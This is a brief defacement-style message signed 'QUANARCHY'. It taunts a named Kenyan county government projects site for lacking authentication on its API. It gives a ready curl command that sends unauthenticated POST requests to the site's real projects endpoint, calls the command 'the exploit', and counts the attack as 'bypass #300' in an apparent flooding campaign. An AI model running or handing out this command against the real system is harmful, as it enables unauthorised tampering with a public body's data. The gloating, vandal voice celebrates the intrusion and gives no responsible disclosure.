QUANARCHY FLOOD — BYPASSING YOUR NON-EXISTENT SECURITY #300

SECURITY BYPASS REPORT We bypassed your security by... doing absolutely nothing special. Just a POST request with JSON. No token. No session cookie. No API key. No basic auth. No OAuth. No JWT. Nothing. Just: curl -X POST https://projects.muranga.go.ke/api/projects/ -H 'Content-Type: application/json' -d '{...}' That's it. That's the exploit. — QUANARCHY | Bypass #300